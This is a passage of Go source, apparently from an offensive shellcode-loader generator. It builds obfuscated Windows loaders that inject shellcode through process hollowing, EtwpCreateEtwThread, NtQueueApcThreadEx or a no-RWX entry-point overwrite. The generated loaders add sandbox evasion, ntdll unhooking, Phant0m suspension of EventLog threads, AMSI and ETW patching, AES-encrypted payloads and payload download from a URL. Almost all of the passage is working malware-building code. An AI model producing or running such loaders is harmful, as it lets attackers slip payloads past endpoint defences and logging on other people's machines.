` + ObfuscateStr("ntdll.dll", str_obfs) + `, {{.Vars.hashing_func}}) +` + } else { + execute_shellcode_func = execute_shellcode_func + ` + {{.Vars.kernel32}} := windows.NewLazyDLL(` + ObfuscateStr("kernel32.dll", str_obfs) + `) + {{.Vars.ntdll}} := windows.NewLazyDLL(` + ObfuscateStr("ntdll.dll", str_obfs) + `) + + {{.Vars.GetProcessHeap}} := {{.Vars.kernel32}}.NewProc(` + ObfuscateStr("GetProcessHeap", str_obfs) + `) + {{.Vars.HeapAlloc}} := {{.Vars.kernel32}}.NewProc(` + ObfuscateStr("HeapAlloc", str_obfs) + `) + {{.Vars.HeapFree}} := {{.Vars.kernel32}}.NewProc(` + ObfuscateStr("HeapFree", str_obfs) + `) + {{.Vars.InitializeProcThreadAttributeList}} := {{.Vars.kernel32}}.NewProc(` + ObfuscateStr("InitializeProcThreadAttributeList", str_obfs) + `) + {{.Vars.UpdateProcThreadAttribute}} := {{.Vars.kernel32}}.NewProc(` + ObfuscateStr("UpdateProcThreadAttribute", str_obfs) + `) + {{.Vars.CreateProcessA}} := {{.Vars.kernel32}}.NewProc(` + ObfuscateStr("CreateProcessA", str_obfs) + `) + {{.Vars.ReadProcessMemory}} := {{.Vars.kernel32}}.NewProc(` + ObfuscateStr("ReadProcessMemory", str_obfs) + `) + {{.Vars.WriteProcessMemory}} := {{.Vars.kernel32}}.NewProc(` + ObfuscateStr("WriteProcessMemory", str_obfs) + `) + {{.Vars.ResumeThread}} := {{.Vars.kernel32}}.NewProc(` + ObfuscateStr("ResumeThread", str_obfs) + `) + {{.Vars.ZwQueryInformationProcess}} := {{.Vars.ntdll}}.NewProc(` + ObfuscateStr("ZwQueryInformationProcess", str_obfs) + `) +` + } + + execute_shellcode_func = execute_shellcode_func + ` + var {{.Vars.pbi}} PROCESS_BASIC_INFORMATION + var {{.Vars.si}} StartupInfoEx + var {{.Vars.pi}} ProcessInformation + + if ({{.Vars.blockdlls}}) { + {{.Vars.procThreadAttributeSize}} := uintptr(0) + {{.Vars.InitializeProcThreadAttributeList}}.Call(0, 2, 0, uintptr(unsafe.Pointer(&{{.Vars.procThreadAttributeSize}}))) + + {{.Vars.procHeap}}, _, {{.Vars.err}} := {{.Vars.GetProcessHeap}}.Call() + if {{.Vars.procHeap}} == 0 { + return {{.Vars.err}} + } + + {{.Vars.attributeList}}, _, {{.Vars.err}} := {{.Vars.HeapAlloc}}.Call({{.Vars.procHeap}}, 0, {{.Vars.procThreadAttributeSize}}) + if {{.Vars.attributeList}} == 0 { + return {{.Vars.err}} + } + defer {{.Vars.HeapFree}}.Call({{.Vars.procHeap}}, 0, {{.Vars.attributeList}}) + + {{.Vars.si}}.AttributeList = (*PROC_THREAD_ATTRIBUTE_LIST)(unsafe.Pointer({{.Vars.attributeList}})) + + {{.Vars.InitializeProcThreadAttributeList}}.Call(uintptr(unsafe.Pointer({{.Vars.si}}.AttributeList)), 2, 0, uintptr(unsafe.Pointer(&{{.Vars.procThreadAttributeSize}}))) + + {{.Vars.mitigate}} := 0x20007 + {{.Vars.nonms}} := uintptr(0x100000000000|0x1000000000) + + {{.Vars.r}}, _, {{.Vars.err}} := {{.Vars.UpdateProcThreadAttribute}}.Call(uintptr(unsafe.Pointer({{.Vars.si}}.AttributeList)), 0, uintptr({{.Vars.mitigate}}), uintptr(unsafe.Pointer(&{{.Vars.nonms}})), uintptr(unsafe.Sizeof({{.Vars.nonms}})), 0, 0) + if {{.Vars.r}} == 0 { + return {{.Vars.err}} + } + } + + {{.Vars.cmd}} := append([]byte(` + ObfuscateStr(process, str_obfs) + `), byte(0)) + + {{.Vars.si}}.Cb = uint32(unsafe.Sizeof({{.Vars.si}})) + + {{.Vars.r}}, _, {{.Vars.err}} := {{.Vars.CreateProcessA}}.Call(0, uintptr(unsafe.Pointer(&{{.Vars.cmd}}[0])), 0, 0, 1, windows.EXTENDED_STARTUPINFO_PRESENT|windows.CREATE_SUSPENDED, 0, 0, uintptr(unsafe.Pointer(&{{.Vars.si}})), uintptr(unsafe.Pointer(&{{.Vars.pi}}))) + if {{.Vars.r}} == 0 { + return {{.Vars.err}} + } + + var {{.Vars.returnLength}} int32 + {{.Vars.pointerSize}} := unsafe.Sizeof(uintptr(0)) + + {{.Vars.ZwQueryInformationProcess}}.Call(uintptr({{.Vars.pi}}.Process), 0, uintptr(unsafe.Pointer(&{{.Vars.pbi}})), {{.Vars.pointerSize}}*6, uintptr(unsafe.Pointer(&{{.Vars.returnLength}}))) + + {{.Vars.imageBaseAddress}} := {{.Vars.pbi}}.PebBaseAddress + 0x10 + {{.Vars.addressBuffer}} := make([]byte, {{.Vars.pointerSize}}) + + var {{.Vars.read}} uintptr + {{.Vars.ReadProcessMemory}}.Call(uintptr({{.Vars.pi}}.Process), {{.Vars.imageBaseAddress}}, uintptr(unsafe.Pointer(&{{.Vars.addressBuffer}}[0])), uintptr(len({{.Vars.addressBuffer}})), uintptr(unsafe.Pointer(&{{.Vars.read}}))) + + {{.Vars.imageBaseValue}} := binary.LittleEndian.Uint64({{.Vars.addressBuffer}}) + {{.Vars.addressBuffer}} = make([]byte, 0x200) + + {{.Vars.ReadProcessMemory}}.Call(uintptr({{.Vars.pi}}.Process), uintptr({{.Vars.imageBaseValue}}), uintptr(unsafe.Pointer(&{{.Vars.addressBuffer}}[0])), uintptr(len({{.Vars.addressBuffer}})), uintptr(unsafe.Pointer(&{{.Vars.read}}))) + + {{.Vars.lfaNewPos}} := {{.Vars.addressBuffer}}[0x3c : 0x3c+0x4] + {{.Vars.lfanew}} := binary.LittleEndian.Uint32({{.Vars.lfaNewPos}}) + {{.Vars.entrypointOffset}} := {{.Vars.lfanew}} + 0x28 + {{.Vars.entrypointOffsetPos}} := {{.Vars.addressBuffer}}[{{.Vars.entrypointOffset}} : {{.Vars.entrypointOffset}}+0x4] + {{.Vars.entrypointRVA}} := binary.LittleEndian.Uint32({{.Vars.entrypointOffsetPos}}) + {{.Vars.entrypointAddress}} := {{.Vars.imageBaseValue}} + uint64({{.Vars.entrypointRVA}}) + + {{.Vars.WriteProcessMemory}}.Call(uintptr({{.Vars.pi}}.Process), uintptr({{.Vars.entrypointAddress}}), uintptr(unsafe.Pointer(&{{.Vars.shellcode}}[0])), uintptr(len({{.Vars.shellcode}})), 0) + + {{.Vars.ResumeThread}}.Call(uintptr({{.Vars.pi}}.Thread)) + + return nil +}` + + } else if exec_technique == "etwpcreateetwthread" { // next shellcode execution technique + imports = utils.AppendSlice(imports, []string{"unsafe", "golang.org/x/sys/windows"}) + dlls_to_unhook = utils.AppendString(dlls_to_unhook, "C:\\Windows\\System32\\ntdll.dll") + + Main.Vars["execute_shellcode_func"] = utils.RandomString(utils.RandomInt(10,12)) + Main.Vars["ntdll"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["NtAllocateVirtualMemory"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["NtProtectVirtualMemory"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["RtlCopyMemory"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["EtwpCreateEtwThread"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["NtWaitForSingleObject"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["addr"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["regionsize"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["r1"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["r2"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["r3"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["err"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["oldProtect"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["thread"] = utils.RandomString(utils.RandomInt(9,10)) + + execute_shellcode_func = ` +func {{.Vars.execute_shellcode_func}}({{.Vars.shellcode}} []byte) error { +` + + if (hashing) { + execute_shellcode_func = execute_shellcode_func + ` + {{.Vars.NtAllocateVirtualMemory}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash(NtAllocateVirtualMemory, rand_num)) + `, ` + ObfuscateStr("ntdll.dll", str_obfs) + `, {{.Vars.hashing_func}}) + {{.Vars.NtProtectVirtualMemory}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash(NtProtectVirtualMemory, rand_num)) + `, ` + ObfuscateStr("ntdll.dll", str_obfs) + `, {{.Vars.hashing_func}}) + {{.Vars.NtWaitForSingleObject}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash("NtWaitForSingleObject", rand_num)) + `, ` + ObfuscateStr("ntdll.dll", str_obfs) + `, {{.Vars.hashing_func}}) + {{.Vars.RtlCopyMemory}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash("RtlCopyMemory", rand_num)) + `, ` + ObfuscateStr("ntdll.dll", str_obfs) + `, {{.Vars.hashing_func}}) + {{.Vars.EtwpCreateEtwThread}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash("EtwpCreateEtwThread", rand_num)) + `, ` + ObfuscateStr("ntdll.dll", str_obfs) + `, {{.Vars.hashing_func}}) +` + } else { + execute_shellcode_func = execute_shellcode_func + ` + {{.Vars.ntdll}} := windows.NewLazyDLL(` + ObfuscateStr("ntdll.dll", str_obfs) + `) + {{.Vars.NtAllocateVirtualMemory}} := {{.Vars.ntdll}}.NewProc(` + ObfuscateStr(NtAllocateVirtualMemory, str_obfs) + `) + {{.Vars.NtProtectVirtualMemory}} := {{.Vars.ntdll}}.NewProc(` + ObfuscateStr(NtProtectVirtualMemory, str_obfs) + `) + {{.Vars.NtWaitForSingleObject}} := {{.Vars.ntdll}}.NewProc(` + ObfuscateStr("NtWaitForSingleObject", str_obfs) + `) + {{.Vars.RtlCopyMemory}} := {{.Vars.ntdll}}.NewProc(` + ObfuscateStr("RtlCopyMemory", str_obfs) + `) + {{.Vars.EtwpCreateEtwThread}} := {{.Vars.ntdll}}.NewProc(` + ObfuscateStr("EtwpCreateEtwThread", str_obfs) + `) +` + } + + execute_shellcode_func = execute_shellcode_func + ` + var {{.Vars.addr}} uintptr + {{.Vars.regionsize}} := uintptr(len({{.Vars.shellcode}})) + + {{.Vars.r1}}, _, {{.Vars.err}} := {{.Vars.NtAllocateVirtualMemory}}.Call(^uintptr(0), uintptr(unsafe.Pointer(&{{.Vars.addr}})), 0, uintptr(unsafe.Pointer(&{{.Vars.regionsize}})), windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_READWRITE) + if {{.Vars.r1}} != 0 { + return {{.Vars.err}} + } + + {{.Vars.RtlCopyMemory}}.Call({{.Vars.addr}}, uintptr(unsafe.Pointer(&{{.Vars.shellcode}}[0])), {{.Vars.regionsize}}) + + {{.Vars.oldProtect}} := windows.PAGE_READWRITE + {{.Vars.r2}}, _, {{.Vars.err}} := {{.Vars.NtProtectVirtualMemory}}.Call(^uintptr(0), uintptr(unsafe.Pointer(&{{.Vars.addr}})), uintptr(unsafe.Pointer(&{{.Vars.regionsize}})), windows.PAGE_EXECUTE_READ, uintptr(unsafe.Pointer(&{{.Vars.oldProtect}}))) + if {{.Vars.r2}} != 0 { + return {{.Vars.err}} + } + + {{.Vars.thread}}, _, {{.Vars.err}} := {{.Vars.EtwpCreateEtwThread}}.Call({{.Vars.addr}}, uintptr(0)) + if {{.Vars.thread}} == 0 { + return {{.Vars.err}} + } + + {{.Vars.r3}}, _, {{.Vars.err}} := {{.Vars.NtWaitForSingleObject}}.Call({{.Vars.thread}}, uintptr(0), 0xFFFFFFFF) + if {{.Vars.r3}} != 0 { + return {{.Vars.err}} + } + + return nil +} +` + + } else if exec_technique == "ntqueueapcthreadex" || exec_technique == "ntqueueapcthread" { // next shellcode execution technique + imports = utils.AppendSlice(imports, []string{"unsafe", "golang.org/x/sys/windows"}) + dlls_to_unhook = utils.AppendString(dlls_to_unhook, "C:\\Windows\\System32\\ntdll.dll") + + Main.Vars["execute_shellcode_func"] = utils.RandomString(utils.RandomInt(10,12)) + Main.Vars["kernel32"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["ntdll"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["GetCurrentThread"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["NtAllocateVirtualMemory"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["NtProtectVirtualMemory"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["RtlCopyMemory"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["NtQueueApcThreadEx"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["addr"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["regionsize"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["r1"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["r2"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["err"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["oldProtect"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["thread"] = utils.RandomString(utils.RandomInt(9,10)) + + execute_shellcode_func = ` +func {{.Vars.execute_shellcode_func}}({{.Vars.shellcode}} []byte) error { +` + + if (hashing) { + execute_shellcode_func = execute_shellcode_func + ` + {{.Vars.GetCurrentThread}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash("GetCurrentThread", rand_num)) + `, ` + ObfuscateStr("kernel32.dll", str_obfs) + `, {{.Vars.hashing_func}}) + {{.Vars.NtAllocateVirtualMemory}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash(NtAllocateVirtualMemory, rand_num)) + `, ` + ObfuscateStr("ntdll.dll", str_obfs) + `, {{.Vars.hashing_func}}) + {{.Vars.NtProtectVirtualMemory}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash(NtProtectVirtualMemory, rand_num)) + `, ` + ObfuscateStr("ntdll.dll", str_obfs) + `, {{.Vars.hashing_func}}) + {{.Vars.NtQueueApcThreadEx}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash("NtQueueApcThreadEx", rand_num)) + `, ` + ObfuscateStr("ntdll.dll", str_obfs) + `, {{.Vars.hashing_func}}) + {{.Vars.RtlCopyMemory}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash("RtlCopyMemory", rand_num)) + `, ` + ObfuscateStr("ntdll.dll", str_obfs) + `, {{.Vars.hashing_func}}) +` + } else { + execute_shellcode_func = execute_shellcode_func + ` + {{.Vars.kernel32}} := windows.NewLazyDLL(` + ObfuscateStr("kernel32.dll", str_obfs) + `) + {{.Vars.ntdll}} := windows.NewLazyDLL(` + ObfuscateStr("ntdll.dll", str_obfs) + `) + + {{.Vars.GetCurrentThread}} := {{.Vars.kernel32}}.NewProc(` + ObfuscateStr("GetCurrentThread", str_obfs) + `) + {{.Vars.NtAllocateVirtualMemory}} := {{.Vars.ntdll}}.NewProc(` + ObfuscateStr(NtAllocateVirtualMemory, str_obfs) + `) + {{.Vars.NtProtectVirtualMemory}} := {{.Vars.ntdll}}.NewProc(` + ObfuscateStr(NtProtectVirtualMemory, str_obfs) + `) + {{.Vars.RtlCopyMemory}} := {{.Vars.ntdll}}.NewProc(` + ObfuscateStr("RtlCopyMemory", str_obfs) + `) + {{.Vars.NtQueueApcThreadEx}} := {{.Vars.ntdll}}.NewProc(` + ObfuscateStr("NtQueueApcThreadEx", str_obfs) + `) +` + } + + execute_shellcode_func = execute_shellcode_func + ` + const ( + QUEUE_USER_APC_FLAGS_NONE = iota + QUEUE_USER_APC_FLAGS_SPECIAL_USER_APC + QUEUE_USER_APC_FLGAS_MAX_VALUE + ) + + var {{.Vars.addr}} uintptr + {{.Vars.regionsize}} := uintptr(len({{.Vars.shellcode}})) + + {{.Vars.r1}}, _, {{.Vars.err}} := {{.Vars.NtAllocateVirtualMemory}}.Call(^uintptr(0), uintptr(unsafe.Pointer(&{{.Vars.addr}})), 0, uintptr(unsafe.Pointer(&{{.Vars.regionsize}})), windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_EXECUTE_READWRITE) + if {{.Vars.r1}} != 0 { + return {{.Vars.err}} + } + + {{.Vars.RtlCopyMemory}}.Call({{.Vars.addr}}, uintptr(unsafe.Pointer(&{{.Vars.shellcode}}[0])), {{.Vars.regionsize}}) + + {{.Vars.oldProtect}} := windows.PAGE_READWRITE + {{.Vars.r2}}, _, {{.Vars.err}} := {{.Vars.NtProtectVirtualMemory}}.Call(^uintptr(0), uintptr(unsafe.Pointer(&{{.Vars.addr}})), uintptr(unsafe.Pointer(&{{.Vars.regionsize}})), windows.PAGE_EXECUTE_READ, uintptr(unsafe.Pointer(&{{.Vars.oldProtect}}))) + if {{.Vars.r2}} != 0 { + return {{.Vars.err}} + } + + {{.Vars.thread}}, _, _ := {{.Vars.GetCurrentThread}}.Call() + + {{.Vars.NtQueueApcThreadEx}}.Call({{.Vars.thread}}, QUEUE_USER_APC_FLAGS_SPECIAL_USER_APC, uintptr({{.Vars.addr}}), 0, 0, 0) + + return nil +} +` + } else if (exec_technique == "no-rwx" || exec_technique == "norwx") { + + image_dos_header_struct := ` +type IMAGE_DOS_HEADER struct { + E_lfanew uint32 +} +` + + image_nt_header_struct := ` +type IMAGE_NT_HEADER struct { + Signature uint32 + FileHeader IMAGE_FILE_HEADER + OptionalHeader IMAGE_OPTIONAL_HEADER +} +` + + image_file_header_struct := ` +type IMAGE_FILE_HEADER struct { + Machine uint16 + NumberOfSections uint16 + TimeDateStamp uint32 + PointerToSymbolTable uint32 + NumberOfSymbols uint32 + SizeOfOptionalHeader uint16 + Characteristics uint16 +} +` + + image_optional_header_struct := ` +type IMAGE_OPTIONAL_HEADER struct { + Magic uint16 + MajorLinkerVersion uint8 + MinorLinkerVersion uint8 + SizeOfCode uint32 + SizeOfInitializedData uint32 + SizeOfUninitializedData uint32 + AddressOfEntryPoint uint32 + BaseOfCode uint32 + ImageBase uint64 + SectionAlignment uint32 + FileAlignment uint32 + MajorOperatingSystemVersion uint16 + MinorOperatingSystemVersion uint16 + MajorImageVersion uint16 + MinorImageVersion uint16 + MajorSubsystemVersion uint16 + MinorSubsystemVersion uint16 + Win32VersionValue uint32 + SizeOfImage uint32 + SizeOfHeaders uint32 + CheckSum uint32 + Subsystem uint16 + DllCharacteristics uint16 + SizeOfStackReserve uint64 + SizeOfStackCommit uint64 + SizeOfHeapReserve uint64 + SizeOfHeapCommit uint64 + LoaderFlags uint32 + NumberOfRvaAndSizes uint32 + DataDirectory [16]IMAGE_DATA_DIRECTORY +} +` + + image_data_struct := ` +type IMAGE_DATA_DIRECTORY struct { + VirtualAddress uint32 + Size uint32 +} +` + + exports = utils.AppendSlice(exports, []string{image_dos_header_struct, image_nt_header_struct, image_file_header_struct, image_optional_header_struct, image_data_struct}) + imports = utils.AppendSlice(imports, []string{"encoding/binary", "unsafe", "golang.org/x/sys/windows"}) + dlls_to_unhook = utils.AppendString(dlls_to_unhook, "C:\\Windows\\System32\\ntdll.dll") + + Main.Vars["execute_shellcode_func"] = utils.RandomString(utils.RandomInt(10,12)) + Main.Vars["kernel32"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["ntdll"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["CreateProcessW"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["WriteProcessMemory"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["ReadProcessMemory"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["ResumeThread"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["NtQueryInformationProcess"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["pbi"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["si"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["pi"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["cmd"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["err"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["info"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["returnLength"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["pebOffset"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["imageBase"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["headersBuffer"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["dosHeader"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["ntHeader"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["codeEntry"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["r1"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["r2"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["r3"] = utils.RandomString(utils.RandomInt(9,10)) + + execute_shellcode_func = ` +func {{.Vars.execute_shellcode_func}}({{.Vars.shellcode}} []byte) error { +` + + if (hashing) { + execute_shellcode_func = execute_shellcode_func + ` + {{.Vars.CreateProcessW}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash("CreateProcessW", rand_num)) + `, ` + ObfuscateStr("kernel32.dll", str_obfs) + `, {{.Vars.hashing_func}}) + {{.Vars.WriteProcessMemory}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash("WriteProcessMemory", rand_num)) + `, ` + ObfuscateStr("kernel32.dll", str_obfs) + `, {{.Vars.hashing_func}}) + {{.Vars.ReadProcessMemory}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash("ReadProcessMemory", rand_num)) + `, ` + ObfuscateStr("kernel32.dll", str_obfs) + `, {{.Vars.hashing_func}}) + {{.Vars.ResumeThread}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash("ResumeThread", rand_num)) + `, ` + ObfuscateStr("kernel32.dll", str_obfs) + `, {{.Vars.hashing_func}}) + {{.Vars.NtQueryInformationProcess}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash(NtQueryInformationProcess, rand_num)) + `, ` + ObfuscateStr("ntdll.dll", str_obfs) + `, {{.Vars.hashing_func}}) +` + } else { + execute_shellcode_func = execute_shellcode_func + ` + {{.Vars.kernel32}} := windows.NewLazyDLL(` + ObfuscateStr("kernel32.dll", str_obfs) + `) + {{.Vars.ntdll}} := windows.NewLazyDLL(` + ObfuscateStr("ntdll.dll", str_obfs) + `) + + {{.Vars.CreateProcessW}} := {{.Vars.kernel32}}.NewProc(` + ObfuscateStr("CreateProcessW", str_obfs) + `) + {{.Vars.WriteProcessMemory}} := {{.Vars.kernel32}}.NewProc(` + ObfuscateStr("WriteProcessMemory", str_obfs) + `) + {{.Vars.ReadProcessMemory}} := {{.Vars.kernel32}}.NewProc(` + ObfuscateStr("ReadProcessMemory", str_obfs) + `) + {{.Vars.ResumeThread}} := {{.Vars.kernel32}}.NewProc(` + ObfuscateStr("ResumeThread", str_obfs) + `) + {{.Vars.NtQueryInformationProcess}} := {{.Vars.ntdll}}.NewProc(` + ObfuscateStr(NtQueryInformationProcess, str_obfs) + `) +` + } + + execute_shellcode_func = execute_shellcode_func + ` + var {{.Vars.pbi}} windows.PROCESS_BASIC_INFORMATION + {{.Vars.si}} := &windows.StartupInfo{} + {{.Vars.pi}} := &windows.ProcessInformation{} + + {{.Vars.cmd}}, {{.Vars.err}} := windows.UTF16PtrFromString(` + ObfuscateStr(process, str_obfs) + `) + if {{.Vars.err}} != nil { + return {{.Vars.err}} + } + + {{.Vars.CreateProcessW}}.Call(0, uintptr(unsafe.Pointer({{.Vars.cmd}})), 0, 0, uintptr(0), windows.CREATE_SUSPENDED, 0, 0, uintptr(unsafe.Pointer({{.Vars.si}})), uintptr(unsafe.Pointer({{.Vars.pi}}))) + + var {{.Vars.info}} int32 + var {{.Vars.returnLength}} int32 + + {{.Vars.NtQueryInformationProcess}}.Call(uintptr({{.Vars.pi}}.Process), uintptr({{.Vars.info}}), uintptr(unsafe.Pointer(&{{.Vars.pbi}})), uintptr(unsafe.Sizeof(windows.PROCESS_BASIC_INFORMATION{})), uintptr(unsafe.Pointer(&{{.Vars.returnLength}}))) + + {{.Vars.pebOffset}} := uintptr(unsafe.Pointer({{.Vars.pbi}}.PebBaseAddress)) + 0x10 + var {{.Vars.imageBase}} uintptr = 0 + + {{.Vars.r1}}, _, {{.Vars.err}} := {{.Vars.ReadProcessMemory}}.Call(uintptr({{.Vars.pi}}.Process), {{.Vars.pebOffset}}, uintptr(unsafe.Pointer(&{{.Vars.imageBase}})), 8, 0) + if {{.Vars.r1}} == 0 { + return {{.Vars.err}} + } + + {{.Vars.headersBuffer}} := make([]byte, 4096) + + {{.Vars.r2}}, _, {{.Vars.err}} := {{.Vars.ReadProcessMemory}}.Call(uintptr({{.Vars.pi}}.Process), uintptr({{.Vars.imageBase}}), uintptr(unsafe.Pointer(&{{.Vars.headersBuffer}}[0])), 4096, 0) + if {{.Vars.r2}} == 0 { + return {{.Vars.err}} + } + + var {{.Vars.dosHeader}} IMAGE_DOS_HEADER + {{.Vars.dosHeader}}.E_lfanew = binary.LittleEndian.Uint32({{.Vars.headersBuffer}}[60:64]) + {{.Vars.ntHeader}} := (*IMAGE_NT_HEADER)(unsafe.Pointer(uintptr(unsafe.Pointer(&{{.Vars.headersBuffer}}[0])) + uintptr({{.Vars.dosHeader}}.E_lfanew))) + {{.Vars.codeEntry}} := uintptr({{.Vars.ntHeader}}.OptionalHeader.AddressOfEntryPoint) + {{.Vars.imageBase}} + + {{.Vars.r3}}, _, {{.Vars.err}} := {{.Vars.WriteProcessMemory}}.Call(uintptr({{.Vars.pi}}.Process), {{.Vars.codeEntry}}, uintptr(unsafe.Pointer(&{{.Vars.shellcode}}[0])), uintptr(len({{.Vars.shellcode}})), 0) + if {{.Vars.r3}} == 0 { + return {{.Vars.err}} + } + + {{.Vars.ResumeThread}}.Call(uintptr({{.Vars.pi}}.Thread)) + + return nil +} +` + } + + // + // shellcode execution techniques end here + // now the loader will be built by putting all the functions together + // + + // append shellcode execution function + functions = utils.AppendString(functions, ParseTemplate(execute_shellcode_func, Main)) + + var main_func string + + imports = utils.AppendString(imports, "log") + + // check if loader must be a DLL to compile the code like so + if (format == "exe") { + // define main function + main_func = ` +func main(){ + var {{.Vars.err}} error +` + } else if (format == "dll") { + imports = utils.AppendString(imports, "C") + + // define main function + main_func = ` +func main(){} + +//export ` + func_name + ` +func ` + func_name + `(){ + + var {{.Vars.err}} error +` + } + + // add sleep at first + if (sleep_time) { + main_func = main_func + ` + {{.Vars.sleep_func}}() +` + } + + // add sandboxing functions + if (sandbox) { + main_func = main_func + ` + if {{.Vars.sandbox_func}}() { + return + } +` + } + + if (unhook != "") { + main_func = main_func + ` + {{.Vars.err}} = {{.Vars.unhook_func}}(` + ConvertSliceToStrFormat(dlls_to_unhook, str_obfs) + `) + if {{.Vars.err}} != nil { + log.Fatal({{.Vars.err}}) + } +` + } + + // use Phant0m technique to suspend EventLog threads + if (phantom) { + main_func = main_func + ` + {{.Vars.eventlog_pid}}, {{.Vars.err}} := {{.Vars.get_eventlog_pid_func}}() + if {{.Vars.err}} != nil { + log.Fatal({{.Vars.err}}) + } + + {{.Vars.err}} = {{.Vars.phantom_func}}({{.Vars.eventlog_pid}}) + if {{.Vars.err}} != nil { + log.Fatal({{.Vars.err}}) + } +` + } + + // enable ACG Guard + if (acg) { + main_func = main_func + ` + {{.Vars.err}} = {{.Vars.acg_func}}() + if {{.Vars.err}} != nil { + fmt.Println({{.Vars.err}}.Error()) + } +` + } + + // enable BlockDLLs + if (blockdlls) { + main_func = main_func + ` + {{.Vars.err}} = {{.Vars.blockdlls_func}}() + if {{.Vars.err}} != nil { + fmt.Println({{.Vars.err}}.Error()) + } +` + } + + // add AMSI patch + if (!noamsi) { + main_func = main_func + ` + {{.Vars.err}} = {{.Vars.amsi_patch_func}}() + if {{.Vars.err}} != nil { + fmt.Println({{.Vars.err}}.Error()) + } +` + } + + // add ETW patch + if (!noetw) { + main_func = main_func + ` + {{.Vars.err}} = {{.Vars.etw_patch_func}}() + if {{.Vars.err}} != nil { + fmt.Println({{.Vars.err}}.Error()) + } +` + } + + // convert shellcode to hex as it is easier to work with it + shellcode = []byte(hex.EncodeToString(shellcode)) + + var shellcode_def string + + // check whether a encryption was used or not + if (strings.ToLower(encrypt) != "none") && (strings.ToLower(encrypt) != "") { + shellcode_def = ` +var {{.Vars.enc_shellcode}} []byte +` + + main_func = main_func + ` + {{.Vars.enc_shellcode}}, _ = hex.DecodeString("` + string(shellcode) + `") +` + } else { + shellcode_def = ` +var {{.Vars.shellcode}} []byte +` + + if ((!strings.HasPrefix(input_file, "http")) && (!errors.Is(input_err, os.ErrNotExist))) || (calc) { + main_func = main_func + ` + {{.Vars.shellcode}}, _ = hex.DecodeString("` + string(shellcode) + `") +` + } else { + main_func = main_func + ` + {{.Vars.shellcode}}, {{.Vars.err}} = {{.Vars.get_shellcode_from_url_func}}(` + ObfuscateStr(input_file, str_obfs) + `) + if {{.Vars.err}} != nil { + log.Fatal({{.Vars.err}}) + } +` + } + } + + // decrypt shellcode + if (strings.ToLower(encrypt) == "aes") { + main_func = main_func + ` + {{.Vars.shellcode}}, {{.Vars.err}} := {{.Vars.aes_decrypt_func}}({{.Vars.enc_shellcode}}, ` + ConvertBytesToStrFormat(iv) + `, []byte("` + string(key) + `")) + if {{.Vars.err}} != nil { + log.Fatal({{.Vars.err}}) + } +` + } else if 